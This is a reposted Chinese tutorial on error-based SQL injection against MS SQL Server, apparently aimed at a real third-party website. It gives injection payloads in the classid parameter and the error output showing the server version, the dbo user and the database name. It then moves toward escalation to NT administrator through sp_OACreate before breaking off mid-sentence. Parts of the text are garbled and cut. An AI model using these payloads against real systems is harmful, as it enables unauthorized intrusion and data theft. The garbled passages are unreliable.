榨干MS SQL Server 最后一滴血>>教育资源库
风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。
以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。
MS SQL内置函数介绍:
VERSION 获得E() 得到当前主机的名称
这些信息有助我们对系统进行简单的了解
好,下面我们就开始吧!
语句:
?classid=1'
返回信息:
Microsoft OLE DB Provider for SQL Server 错误'80040e14' 字符串' Order By Id DESC' 之前有未闭合的引号。/,行290
从这里未闭合的引号(),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:
语句:
?classid=1 and 0<>(select version)
返回:
Microsoft OLE DB Provider for SQL Server 错误'80040e07' 将 nvarchar 值'Microsoft SQL Server 2000 - (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on IN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。
返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:
语句:
?classid=1 and 0<>(select user_name())
返回:
Microsoft OLE DB Provider for SQL Server 错误'80040e07' 将 nvarchar 值'dbo' 转换为数据类型为 int 的列时发生语法错误。/,行290
说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。
语句:?classid=1 and 0<>(select db_name())返回:Microsoft OLE DB Provider for SQL Server 错误'80040e07' 将 nvarchar 值'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。/,行290
这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到IN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN就要用到:
MSSQL内置存储过程:
sp_OACreate (通过它,危害
榨干MSSQLServer最后一滴血 来自淘豆网www.taodocs.com转载请标明出处.